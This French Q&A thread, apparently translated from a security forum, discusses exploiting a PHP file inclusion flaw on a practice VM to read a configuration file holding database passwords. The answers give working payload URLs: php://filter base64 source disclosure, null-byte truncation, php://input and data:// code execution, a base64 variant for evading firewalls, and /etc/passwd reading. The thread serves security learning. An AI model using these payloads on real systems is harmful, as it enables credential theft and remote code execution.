J'essaie d'exploiter certaines vulnérabilités Web dans un exemple de site Web s'exécutant à l'intérieur d'un VM (il n'est pas disponible sur le Web - uniquement à des fins éducatives). J'ai un fichier php nommé setupreset.php
qui contient les informations sur la configuration, les paramètres d'installation et les mots de passe MySQL utilisés pour configurer le site Web. C'est dans le même répertoire que le reste des fichiers php (index, produits, forum, etc ...).
Ceci est le code de index.php, pour référence:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
L'objectif principal est de répertorier le contenu du fichier setupreset
PHP, ou de le télécharger en quelque sorte. Si je navigue dans ce fichier: http://10.211.55.5/index.php?page=setupreset
, il est exécuté, mais le code PHP n'apparaît naturellement pas car il est analysé par l'interpréteur PHP.
Désormais, le site Web utilise PHP include
s. Les URL ressemblent donc à ceci: http://10.211.55.5/index.php?page=products
. Cela semble vulnérable à l'inclusion de fichier à distance, où je pourrais simplement pointer vers une autre page PHP, par exemple. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php
mais allow_url_include
est off
et ne peut pas être modifié, donc cela ne fonctionnera pas (j'ai essayé cela). Cependant, allow_url_fopen
est susceptible d'être activé (étant donné qu'il est activé par défaut), ma question est la suivante: est-il possible de télécharger un fichier PHP ou un script répertoriant le contenu de setupreset.php
en utilisant ce type d'exploit?
Si allow_url_include
est désactivé, vous ne pouvez pas exécuter de code distant. Mais vous pouvez trouver d'autres pages, par exemple un tableau de bord de gestion de contenu, pour télécharger votre code en tant qu '"image", puis rechercher le chemin d'accès réel et le include
name__.
Et, il y a encore des façons d'exploiter.
Regardons à l'intérieur de votre code. Vous remarquerez peut-être qu'il ajoute automatiquement une extension .php
à la fin du chemin. Vous devez donc supprimer php
dans le paramètre GET. Mais que se passe-t-il si le fichier que vous souhaitez inclure n’a pas l’extension PHP? Utilisez ensuite %00
pour terminer une chaîne, telle que
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
Il existe un protocole spécial en PHP, puissant et dangereux. C'est php://
. Vous pouvez consulter le manuel officiel pour des informations détaillées. Ici, je vais vous montrer quelques cas pour transformer une vulnérabilité d'inclusion de fichier en divulgation source et même en vulnérable à l'exécution de code à distance.
Avant votre test, je vous suggère d'utiliser Firefox avecHackBarplugin. C'est une suite de tests d'intrusion puissante.
Cette fonctionnalité n'a pas besoin d'inclusion d'URL autorisée.
php://filter
est une sorte de méta-wrapper conçu pour permettre l'application de filtres à un flux au moment de son ouverture. Ceci est utile avec les fonctions de fichier tout-en-un telles que readfile (), file () et file_get_contents () lorsqu'il n'y a pas d'autre possibilité d'appliquer un filtre au flux avant la lecture du contenu. ( Référence )
Ensuite, vous pouvez voir la source secret.inc.php
dans le même répertoire via la requête suivante.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
Le contenu du fichier sera encodé en base64, il supporte donc les fichiers binaires.
C'est puissant pour obtenir des informations sensibles, telles que des mots de passe de base de données ou une clé de cryptage! Si le privilège n'est pas correctement configuré, il peut même sortir de la cage et extraire des données de fichiers dans des répertoires externes, comme /etc/passwd
!
En fait, vous ne pouvez pas exploiter cette méthode, car allow_url_include
est désactivé dans ce cas.
Mais je dois le signaler car c'est magique !
C'est complètement différent de l'inclusion locale. Il n'est pas nécessaire de télécharger un fichier sur un serveur distant ou autre. Vous n'avez besoin que d'une seule demande.
php://input
peut accéder au corps de la requête HTTP brute, que fait donc include("php://input")
? Il suffit de visiter http://localhost/include.php?page=php://input
, avec le code PHP valide dans le corps de la requête, vous pouvez alors exécuter toute fonction (autorisée) sur le serveur distant!
N'oubliez pas le %00
pour supprimer .php
tail.
De plus, PHP prend en charge le schéma d'URL data://
. Vous pouvez directement mettre du code dans GET param! Le test suivant ne nécessite aucun outil spécial, seul un navigateur normal peut exécuter une attaque.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Certains pare-feu d’applications Web peuvent détecter une chaîne suspecte dans une URL et bloquer une demande malveillante. Ils ne laisseront pas le phpinfo
name__. Y a-t-il un moyen de chiffrer? Bien sûr. data://
L'URL prend en charge au moins l'encodage en base64 ...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Et vous aurez à nouveau phpinfo familier!
L'astuce octet nul (%00
) ne fonctionne plus pour PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139
Ce n'est pas. Le fichier php est en cours d'exécution parce que vous appelez include
; si vous avez appelé readfile
, file_get_contents
ou similaire, vous pouvez voir le contenu du fichier php.